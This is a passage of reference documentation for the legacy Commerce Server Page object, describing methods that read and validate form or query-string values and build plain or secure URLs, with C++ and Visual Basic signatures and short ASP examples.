A Variant that contains the value to return if the requested URL-query string or form-post variable is not present or contains no value. If this parameter is also not supplied, the method returns NULL. If the default value is a string value, it will be converted into the base monetary value; otherwise, it is assumed that the value is in base monetary units. This parameter is optional.
vtMin [C++]
[in, optional] A VARIANT that contains the monetary value that specifies the low end of the range against which to validate the converted value. A value in base monetary units is expected for the vtMin parameter. If the converted value is less than vtMin, the method returns NULL. This parameter is optional.
vtMin [Visual Basic]
A Variant that contains the monetary value that specifies the low end of the range against which to validate the converted value. If the variant is of type VT_NULL, the vtMin parameter value is not considered in the validation process. A value in base monetary units is expected for the vtMin parameter. If the converted value is less than vtMin, the method returns NULL. This parameter is optional.
vtMax [C++]
[in, optional] A VARIANT that contains the monetary value that specifies the high end of the range against which to validate the converted value. If the variant is of type VT_NULL, the vtMax parameter value is not considered in the validation process. A value in base monetary units is expected for the vtMax parameter. If the converted value is greater than vtMax, the method returns NULL.
vtMax [Visual Basic]
A Variant that specifies the high end of the range against which to validate the converted value. A value in base monetary units is expected for the vtMax parameter. If the converted value is greater than vtMax, the method returns NULL. This parameter is optional.
vtLocale [C++]
[in, optional] A VARIANT that contains the number that specifies the locale to use to convert the bstrName parameter. If this parameter is not used, the RequestMoneyAsNumber method uses the value of the Locale property of the DataFunctions object.
vtLocale [Visual Basic]
A Variant that contains the number that specifies the locale to use to convert the bstrName parameter. If this parameter is not used, the RequestMoneyAsNumber method uses the value of the Locale property of the DataFunctions object. This parameter is optional.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the number in the base monetary units of the specified or default locale. If any validation fails, the return value will be NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains a number in the base monetary units of the specified or default locale.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method is used for backwards compatibility with Site Server 3.0 Commerce Edition sites, and relies on the Site Server 3.0 Commerce Edition monetary format.

[C++] The pvtRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oPage is a Commerce.Page object
' In the following example, the value of a field on the purchase
' form (filled out by the customer) is read into the
' variable list_price. The vtMax argument is the upper limit
' of a Variant variable. Using this value as the upper limit and
' zero (0) as the lower limit of the range check ensures that
' the value is not negative:
list_price = oPage .RequestMoneyAsNumber("list_price", 0, 0, _
    100, 1033)

See Also

[C++] Page Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::ConvertMoneyStringToNumber

[C++] IDataFunctions_4_0::Money

[C++] IMSCSPage_3_0::RequestFloat

[C++] IMSCSPage_3_0::RequestNumber

[Visual Basic] Page Object

DataFunctions.Locale

[Visual Basic] DataFunctions.ConvertMoneyStringToNumber

[Visual Basic] DataFunctions.Money

[Visual Basic] Page.RequestFloat

[Visual Basic] Page.RequestNumber


IMSCSPage_3_0::RequestNumber Method [C++]

Page.RequestNumber Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and convert it to a number based on the specified or default locale.

Optionally, the RequestNumber method checks the converted number against the specified range and validates it based on the specified locale.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AppFrameWork object, which provides similar functionality to that found in this method. Using the AppFrameWork methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::RequestNumber(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT vtMin,
  VARIANT vtMax,
  VARIANT vtLocal,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestNumber(
  bstrName As String,
  vtDefault As Variant,
  vtMin As Variant,
  vtMax As Variant,
  vtLocal As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL-query string or form-post variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL-query string or form-post variable to retrieve.
vtDefault [C++]
[in, optional] A VARIANT that contains the value to return if the requested URL-query string or form-post variable is not present or contains no value. If this parameter is not supplied, the method returns NULL.
vtDefault [Visual Basic]
A Variant that contains the value to return if the requested URL-query string or form-post variable is not present or contains no value. If this parameter is not supplied, the method returns NULL. This parameter is optional.
vtMin [C++]
[in, optional] A VARIANT that contains the number value that specifies the low end of the range against which to validate the converted value. If the converted value is less than vtMin, then NULL is returned. If the variant is of type VT_NULL, the vtMin parameter value is not considered in the validation process.
vtMin [Visual Basic]
A Variant that contains the number value that specifies the low end of the range against which to validate the converted value. If the converted value is less than vtMin, then NULL is returned. This parameter is optional.
vtMax [C++]
[in, optional] A VARIANT that contains the number value that specifies the high end of the range against which to validate the converted value. If the converted value is greater than vtMax, then NULL is returned. If the variant is of type VT_NULL, the vtMax parameter value is not considered in the validation process. If the converted value is greater than vtMax, the method returns NULL.
vtMax [Visual Basic]
A Variant that contains the number value that specifies the high end of the range against which to validate the converted value. If the converted value is greater than vtMax, then NULL is returned. If the converted value is greater than vtMax, the method returns NULL. This parameter is optional.
vtLocale [C++]
[in, optional] A VARIANT that contains the number that specifies the locale to use to convert the bstrName parameter. If this parameter is not used, the RequestNumber method uses the value of the Locale property of the DataFunctions object.
vtLocale [Visual Basic]
A Variant that contains the number that specifies the locale to use to convert the bstrName parameter. If this parameter is not used, the RequestNumber method uses the value of the Locale property of the DataFunctions object. This parameter is optional.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the converted number. If any validation fails, the return value will be NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the converted number.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oPage is a Commerce.Page object
' In the following example, the value of a field on the purchase
' form (filled out by the customer) is read into the
' variable cc_expmonth. Because the Default parameter is specified
' as 7, RequestNumber will return 7 if the field is empty
' or missing.
cc_expmonth = oPage.RequestNumber("_cc_expmonth", 7, 1, 12)

See Also

[C++] Page Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IMSCSPage_3_0::RequestFloat

[C++] IDataFunctions_4_0::ConvertNumberString

[C++] IDataFunctions_4_0::Number

[C++] IDataFunctions_4_0::ValidateNumber

[Visual Basic] Page Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] Page.RequestFloat

[Visual Basic] DataFunctions.ConvertNumberString

[Visual Basic] DataFunctions.Number

[Visual Basic] DataFunctions.ValidateNumber


IMSCSPage_3_0::RequestString Method [C++]

Page.RequestString Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and perform string processing on it, based on the specified locale.

This processing may involve stripping out leading and trailing white spaces, stripping out carriage returns, checking the length of the string against a specified range, and validating the string based on the specified or default locale.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AppFrameWork object, which provides similar functionality to that found in this method. Using the AppFrameWork methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::RequestString(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT vtMin,
  VARIANT vtMax,
  VARIANT vtStripWhite,
  VARIANT vtStripReturn,
  VARIANT vtCase,
  VARIANT vtLocal,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestString(
  bstrName As String,
  vtDefault As Variant,
  vtMin As Variant,
  vtMax As Variant,
  vtStripWhite As Variant,
  vtStripReturn As Variant,
  vtCase As Variant,
  vtLocal As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL-query string or form-post variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL-query string or form-post variable to retrieve.
vtDefault [C++]
[in, optional] A VARIANT that contains the string to return if the specified URL-query string or form-post variable does not exist or contains no value. If this parameter is not supplied, the method returns NULL.
vtDefault [Visual Basic]
A Variant that contains the string to return if the specified URL-query string or form-post variable does not exist or contains no value. If this parameter is not supplied, the method returns NULL. This parameter is optional.
vtMin [C++]
[in, optional] A VARIANT that contains the number that indicates the minimum length against which the length of the bstrName parameter must be validated. If the variant is of type vtMissing, the vtMin parameter value is not considered in the validation process. If this value is invalid or length of the bstrName/vtDefault parameter is not in range, the method returns NULL.
vtMin [Visual Basic]
A Variant that contains the number that indicates the minimum length against which the length of the bstrName parameter must be validated. If the variant is of type vtMissing, the vtMin parameter value is not considered in the validation process. This parameter is optional. If this value is invalid or length of the bstrName/vtDefault parameter is not in range, the method returns NULL.
vtMax [C++]
[in, optional] A VARIANT that contains the number that indicates the maximum length against which the length of the bstrName parameter must be validated. If the variant is of type vtMissing, the vtMax parameter value is not considered in the validation process. If this value is invalid or length of the bstrName/vtDefault parameter is not in range, the method returns NULL.
vtMax [Visual Basic]
A Variant that contains the number that indicates the maximum length against which the length of the bstrName parameter must be validated. If the variant is of type vtMissing, the vtMax parameter value is not considered in the validation process. If this value is invalid or length of the bstrName/vtDefault parameter is not in range, the method returns NULL. This parameter is optional.
vtStripWhite [C++]
[in, optional] A VARIANT that contains a Boolean value that indicates whether leading and trailing white spaces should be stripped from the string. The default value is True.
vtStripWhite [Visual Basic]
A Variant that contains a Boolean value that indicates whether leading and trailing white spaces should be stripped from the string. The default value is True. This parameter is optional.
vtStripReturn [C++]
[in, optional] A VARIANT that contains a Boolean value that indicates whether carriage returns should be stripped from the string. The default value is True.
vtStripReturn [Visual Basic]
A Variant that contains a Boolean value that indicates whether carriage returns should be stripped from the string. The default value is True. This parameter is optional.
vtCase [C++]
[in, optional] A VARIANT that contains the number that indicates the case to which the string should be converted. The default value is zero (0), which results in no modification to the case of the string. If the vtCase parameter is one (1), the string is converted to uppercase. If the vtCase parameter is two (2), the string is converted to lowercase.
vtCase [Visual Basic]
A Variant that contains the number that indicates the case to which the string should be converted. The default value is zero (0), which results in no modification to the case of the string. If the vtCase parameter is one (1), the string is converted to uppercase. If the vtCase parameter is two (2), the string is converted to lowercase. This parameter is optional.
vtLocal [C++]
[in, optional] A VARIANT that contains the number that specifies the locale to be used as the basis of the conversion. If this value is not specified, the RequestString method uses the value of the Locale property of the DataFunctions object.
vtLocal [Visual Basic]
A Variant that contains the number that specifies the locale to be used as the basis of the conversion. If this value is not specified, the RequestString method uses the value of the Locale property of the DataFunctions object. This parameter is optional.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the processed string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the processed string.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oPage is a Commerce.Page object
' vString is a Variant
' This example assumes that the string value is entered using
' the following form:
<FORM METHOD ="POST" ACTION="PROCESS.ASP">
<INPUT TYPE="Text" NAME="String">
<INPUT TYPE="SUBMIT" NAME="ACTION" VALUE="Send Info">
</FORM>
' If the user enters the string into the form and clicks the
' Send Info button, the value of this form field can be
' retrieved by the RequestString method as follows:
vString = oPage.RequestString("String", "Default String", _
    1, 100, True, True, 0, 1033)
' In this example, the string is checked that it it contains
' between 1 and 100 characters; all leading and trailing white
' spaces are removed, all carriage returns are removed, , no
' modification is made to character case, and the string is
' converted according to the locale 1033 (USA). If no string is
' input, the string "Default String" will be loaded into the
' variable vString.

See Also

[C++] Page Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[Visual Basic] Page Object

[Visual Basic] DataFunctions.Locale


IMSCSPage_3_0::RequestTime Method [C++]

Page.RequestTime Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and convert the string to a Date Variant, based on the specified or default locale.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AppFrameWork object, which provides similar functionality to that found in this method. Using the AppFrameWork methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::RequestTime(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT vtMin,
  VARIANT vtMax,
  VARIANT vtLocale,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestTime(
  bstrName As String,
  vtDefault As Variant,
  vtMin As Variant,
  vtMax As Variant,
  vtLocale As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL-query string or form-post variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL-query string or form post-variable to retrieve.
vtDefault [C++]
[in, optional] A VARIANT that contains the string to return if the specified URL-query string or form-post variable does not exist or contains no value. If this parameter is not supplied, the method returns NULL. The default cannot contain DateTime or Date values.
vtDefault [Visual Basic]
A Variant that contains the string to return if the specified URL-query string or form-post variable does not exist or contains no value. If this parameter is not supplied, the method returns NULL. The default cannot contain DateTime or Date values. This parameter is optional.
vtMin [C++]
[in, optional] A VARIANT that contains the time value that specifies the low end of the range against which to validate the bstrName parameter. If the VARIANT is of type vtMissing, the vtMin parameter value is not considered in the validation process.If the converted value is less than vtMin, the method returns NULL.
vtMin [Visual Basic]
A Variant that contains the time value that specifies the low end of the range against which to validate the bstrName parameter. If the converted value is less than vtMin, the method returns NULL. The default is no low-end validation. This parameter is optional.
vtMax [C++]
[in, optional] A VARIANT that contains the time value that specifies the high end of the range against which to validate the bstrName parameter. If the variant is of type vtMissing, the vtMax parameter value is not considered in the validation process. If the converted value is greater than vtMax, the method returns NULL.
vtMax [Visual Basic]
A Variant that contains the time value that specifies the high end of the range against which to validate the bstrName parameter. The default is no high-end validation. If the converted value is greater than vtMax, the method returns NULL. This parameter is optional.
vtLocale [C++]
[in, optional] A VARIANT that contains the number that specifies the locale to use to convert the DateTime value. If this value is not specified, the RequestTime method uses the value of the Locale property of the DataFunctions object.
vtLocale [Visual Basic]
A Variant that contains the number that specifies the locale to use to convert the DateTime value. If this value is not specified, the RequestTime method uses the value of the Locale property of the DataFunctions object. This parameter is optional.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the date. If any validation fails, the value will be set to NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the date.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oPage is a Commerce.Page object
' This example assumes that the -time value is entered using
' the following form:
<FORM METHOD ="POST" ACTION="PROCESS.ASP">
<INPUT TYPE="Text" NAME="Time">
<INPUT TYPE="SUBMIT" NAME="ACTION" VALUE="Send Info">
</FORM>
If the user enters the date into the form and clicks the Send Info button, the value of this form field can be retrieved by the RequestTime method as follows:
vTime = oPage.RequestTime("Time", "12:00:01 AM", "12:00:01 AM", _
 "11:59:59 PM", 1033)

See Also

[C++] Page Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::ConvertTimeStringf

[C++] IMSCSPage_3_0::RequestDate

[Visual Basic] Page Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions_4_0::ConvertTimeString

[Visual Basic] Page.RequestDate


IMSCSPage_3_0::SiteRoot Method [C++]

Page.SiteRoot Method [Visual Basic]

Use this method to return the physical directory that contains the Commerce Server site.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition.

Definition

[C++]
HRESULT IMSCSPage_3_0::SiteRoot(
  BSTR* pbstrRet
);
[Visual Basic]
Function SiteRoot() As String

Parameters

pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the physical directory path.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the physical directory path.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The pvtRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Page Object

[C++] IMSCSPage_3_0::VirtualDirectory

[Visual Basic] Page Object

[Visual Basic] Page.VirtualDirectory


IMSCSPage_3_0::SURL Method [C++]

Page.SURL Method [Visual Basic]

Use this method to generate a properly formatted secure HTTP URL (SURL) based on the provided file name and an optional list of name/value arguments. The formatted URL includes the server name, the virtual directory in which the file is stored (taken from the context in which the Web site is running), and the name of the file itself.

Additionally, if the StandardSManager for the application is initialized in URL mode, the SURL method uses the value stored in the MSCSSIDUrlKey Application object variable as the name in a name/value pair, the value of which is the current customer's shopper ID.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AuthManager object, which provides similar functionality to that found in the SURL method. Using the AuthManager methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::SURL(
  BSTR bstrPath,
  BSTR* pbstrRet
);
[Visual Basic]
Function SURL(
  bstrPath As String
) As String

Parameters

bstrPath [C++]
[in] A BSTR that contains the name of the file for the SURL to reference.
bstrPath [Visual Basic]
A String that contains the name of the file for the SURL to reference.
pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the properly formatted secure HTTP URL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns String that contains a properly formatted secure HTTP URL.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRet parameter points to valid data only if the method completed successfully.

During application development, you can set the Site.DisableHTTPS property to one (1), which causes the SURL method to use the InsecureHostName value as the host name. The SURL method generates a secure URL only if Site.DisableHTTPS is set to zero (0).

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

The following example is from the MySite Purchase.asp file.

<FORM METHOD="POST"
    ACTION =<% = Page.SURL("xt_orderform_purchase.asp" %)
If the hostname is www.microsoft.com, the preceding example
' produces the following URL:
https://www.microsoft.com/MySite/xt_orderform_purchase.asp

See Also

[C++] Page Object

[C++] StandardSManager Object

[C++] AuthManager Object

[C++] IMSCSPage_3_0::URL

[Visual Basic] Page Object

[Visual Basic] StandardSManager Object

[Visual Basic] AuthManager Object

[Visual Basic] Page.URL


IMSCSPage_3_0::SURLPrefix Method [C++]

Page.SURLPrefix Method [Visual Basic]

Use this method to return the secure root domain as determined by the MSCSSecureHostName value. The returned string can be used as the prefix of a complete URL.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AuthManager object, which provides similar functionality to that found in the SURLPrefix method. Using the AuthManager methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::SURLPrefix(
  BSTR* pbstrRet
);
[Visual Basic]
Function SURLPrefix() As String

Parameters

pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the secure root domain string.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the secure root domain string.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRet parameter points to valid data only if the method completed successfully.

During application development, you can set the DisableHTTPS property of the site dictionary to one (1), which causes the SURLPrefix method to use the InsecureHostName value as the host name. The SURLPrefix method generates a secure URL only if Site.DisableHTTPS is set to zero (0).

[C++] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Page Object

[C++] StandardSManager Object

[C++] AuthManager Object

[C++] IMSCSPage_3_0::URLPrefix

[C++] IMSCSPage_3_0::URLShopperArgs

[C++] IMSCSPage_3_0::SURL

[C++] IMSCSPage_3_0::URLArgs

[C++] IMSCSPage_3_0::VirtualDirectory

[Visual Basic] Page Object

[Visual Basic] StandardSManager Object

[Visual Basic] AuthManager Object

[Visual Basic] Page.URLPrefix

[Visual Basic] Page.SURL

[Visual Basic] Page.URLShopperArgs

[Visual Basic] Page.URLArgs

[Visual Basic] Page.VirtualDirectory


IMSCSPage_3_0::URL Method [C++]

Page.URL Method [Visual Basic]

Use this method to generate a URL based on the specified file name and an optional list of name/value arguments. This URL includes the server name, the virtual directory in which the file is stored, and the name of the file itself.

Additionally, if the StandardSManager for the application is initialized in URL mode, the URL method uses the value stored in the Application object's MSCSSIDUrlKey variable as the name in a name/value pair, the value of which is the current shopper ID.

The method applies URL encoding to the values passed in.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AuthManager object, which provides similar functionality to that found in the URL method. Using the AuthManager methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::URL(
  BSTR bstrPath,
  BSTR* pbstrRet
);
[Visual Basic]
Function URL(
  bstrPath As String
) As String

Parameters

bstrPath [C++]
[in] A BSTR that contains the name of the file to reference in the URL.
bstrPath [Visual Basic]
A String that contains the name of the file to reference in the URL.
pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the encoded value.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the encoded value.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' The URL method spares the site builder the need to map a file
' to the HTTP path to that file. For example, assume the
following call to URL:
<%= oPage.URL("filename.asp") %>
' This call resolves to the correct HTTP path to
' filename.asp as follows:
http://host_name/virtual_directory/filename.asp
' The value for host_name is determined by the contents of the
' site dictionary's InsecureHostName value. The virtual_directory
' is determined automatically from the scripting context.

See Also

[C++] Page Object

[C++] AuthManager Object

[C++] IMSCSPage_3_0::SURL

[Visual Basic] Page Object

[Visual Basic] AuthManager Object

[Visual Basic] Page.SURL


IMSCSPage_3_0::URLArgs Method [C++]

Page.URLArgs Method [Visual Basic]

Use this method to generate a series of query string arguments in an appropriate form for passing in a URL. The method applies URL encoding to the values passed in.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AuthManager object, which provides similar functionality to that found in the URLArgs method. Using the AuthManager methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::URLArgs(
  BSTR* pbstrRet
);
[Visual Basic]
Function URLArgs() As String

Parameters

pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the series of query string arguments.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the series of query string arguments.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The pbstrRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Page Object

[C++] AuthManager Object

[C++] IMSCSPage_3_0::VirtualDirectory

[C++] IMSCSPage_3_0::SURL

[C++] IMSCSPage_3_0::SURLPrefix

[C++] IMSCSPage_3_0::URL

[C++] IMSCSPage_3_0::URLShopperArgs

[Visual Basic] Page Object

[Visual Basic] AuthManager Object

[Visual Basic] Page.VirtualDirectory

[Visual Basic] Page.SURL

[Visual Basic] Page.SURLPrefix

[Visual Basic] Page.URL

[Visual Basic] Page.URLShopperArgs


IMSCSPage_3_0::URLEncode Method [C++]

Page.URLEncode Method [Visual Basic]

Use this method to apply URL-encoding rules, including escape characters, to a specified string. An encoded URL string may be passed in a URL as a query string argument.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AuthManager object, which provides similar functionality to that found in the URLEncode method. Using the AuthManager methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::URLEncode(
  VARIANT vtValue,
  BSTR* pbstrRet
);
[Visual Basic]
Function URLEncode(
  vtValue As Variant
) As String

Parameters

vtValue [C++]
[in] A VARIANT that contains the string to be encoded.
vtValue [Visual Basic]
A Variant that contains the string to be encoded.
pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the URL-encoded string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a URL-encoded String.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRet parameter points to valid data only if the method completed successfully.

Strings that contain certain characters, such as spaces, slashes (/), or percentage symbols (%), cannot be passed as URL query arguments. URL encoding encodes these characters as escaped text so that they can be passed in a URL.

The Page.URLEncode method is equivalent to the Server.URLEncode method, except that the Page.URLEncode method handles NULL values by returning an empty string. (The Server.URLEncode method fails when the String parameter is NULL). This distinction is important because database queries can return NULL.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' Suppose that a variable called referringURL contains the URL _
' http://www.microsoft.com, which is to be passed as a query
' string argument in another URL.
' The following script:
<A HREF="Sample.asp?referringURL=<% =
    oPage.URLEncode(referringURL) %>">My link</A>
' generates the following HTML:
<A HREF="Sample.asp?referringURL= _
